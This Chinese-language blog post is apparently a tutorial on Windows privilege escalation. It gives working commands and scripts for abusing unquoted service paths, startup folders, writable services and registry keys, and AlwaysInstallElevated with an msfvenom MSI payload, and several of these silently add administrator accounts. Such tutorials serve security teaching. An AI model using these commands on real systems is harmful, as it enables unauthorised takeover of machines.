windows提權

一、信息

1、我們在拿到目標機器的後,需要先看下它的版本,遠程端口等,下面列出了部門獲取信息的命令

systeminfo | findstr OS  //獲取系統版本信息
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber  //獲取遠程端口
wmic qfe get Caption,Description,HotFixID,InstalledOn  //獲取系統打了哪些補丁
set //獲取環境變量

2、獲取系統安裝軟件的信息

reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall reg.txt //導出註冊表信息
find "DisplayName" reg.txt |find /V "ParentDisplayName" > list.txt//找出註冊表中的軟件信息
for /f "tokens=2,3 delims==/" %a in (tmplist.txt) do (echo %a >> softwarelist.txt)//將最終信息導出到softwarelist.txt

3、導出系統所有註冊表

reg export HKLM hklm.reg
reg export HKCU hkcu.reg
reg export HKCU hkcr.reg
reg export HKCU hku.reg
reg export HKCU hkcc.reg

二、Trusted Service Paths

1、如果一個服務是以系統權限運行的,並且它的路徑裏面有空格,並且運行這個程序的時候文件路徑沒有完全包含在引號內,就有此漏洞。
2、舉個例子C:\Program Files\Elantech\ETDService.exe 這個是我電腦上的一個服務,首先windows會先找C:\Program.exe 文件再找C:\Program Files\Elantech\ETDService.exe 如果路徑中空格較多,以此類推。
3、想一下,如果我們在c:\下放一個Program.exe的木馬文件,拿這個木馬文件就是以系統權限運行的了(大部分情況下)。
4、我們用msf生成一個木馬文件,上傳到c盤,然後關閉ETDService服務,再重啓ETDService就可以,如果我們沒有權限關閉這個服務,就只有等管理員重啓這個服務。

三、開機自啓程序提權

1、在windows開機的時候會自動運行一些程序,如果我們能把惡意程序放在開機自啓目錄下,並且開機的時候是以高權限用戶開啓就能成功執行我們的惡意程序。
2、下面是一段新建用戶的vbs代碼,將文件放在C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

set wshshell=createobject ("wscript.shell")
a=wshshell.run ("cmd.exe /c net user laowng laowang /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators laowang /add",0)

其實這個用bat文件也可以,但是bat文件在開機的時候會彈一個小黑框,下面是bat文件的代碼

@echo off
net user xiao 123321 /add
net localgroup administrators xiao /add

四、錯誤的權限配置

1、類似於開機自啓動提權,有些程序會在開機時在後臺運行,如果一個低權限的用戶對對這些可執行文件所在的目錄有寫得權限,攻擊者可以把這些可執行文件替換成惡意代碼文件。
2、我們可以手動測試步驟:
①、accesschk64.exe -uwcqv “administrator” * /accepteula (下載地址)查看當前用戶可以修改的服務(將administrator替換成Authenticated Users可以查看除了Guests用戶以外所有用用戶名、密碼通過身份驗證的賬戶能完全控制的服務)
②、比如我們的服務的可執行文件是a.exe執行以下代碼

sc config a binpath="net user test test /add"
sc stop a
sc start a
sc config a binpath="net localgroup administrators test /add"
sc stop a
sc start a

這裏binpath是指這個服務的可執行文件的路徑,如果我們不能自己重啓,當這個程序下次被管理員重啓時我們任然能在目標設備上新建一個用戶。

五、註冊表權限配置不當

1、與windows服務有關的信息存儲在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services中,比如我的lsass存儲在HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VaultSvc\ImagePath中,加入入侵者對這個註冊表有修改的權限,他可以將這個值改成惡意程序的路徑,這樣這個程序就是以systen權限運行的。
2、我們可以在目標機上上傳一個subinacl.exe

subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\360FsFlt"/display

查看我們對這個註冊表是否有修改權限,如果有我們就可以修改註冊表

reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\360FsFlt" /t REG_EXPAND_SZ /v ImagePath /d "C:\programdata\adduser.exe" /f

六、用戶以system權限安裝msi

1、在安裝msi的時候,如果被攻擊機開啓了AlwaysInstallElevated設置,意味着即使我們是低權限用戶,但是在安裝msi的時候是以system權限去運行的。
2、註冊表查看AlwaysInstallElevated的值

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果這兩個值都是1說明開啓了AlwaysInstallElevated設置,這個時候我們就可以用msf生成一個msi木馬
3、msf生成惡意msi

msfvenom -p windows/adduser USER=test PASS=test -f msi-nouac -o haha.msi

4、命令行安裝msi

msiexec /quiet /qn /i C:\programdata\haha.msi

七、計劃任務

1、使用命令accesschk.exe -dqv "F:\tools" -accepteula 用戶對這個目錄的權限,加入找到一個該權限運行的目錄並且低權限用戶擁有寫入權限,我們就可以用惡意程序替換掉原有程序。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章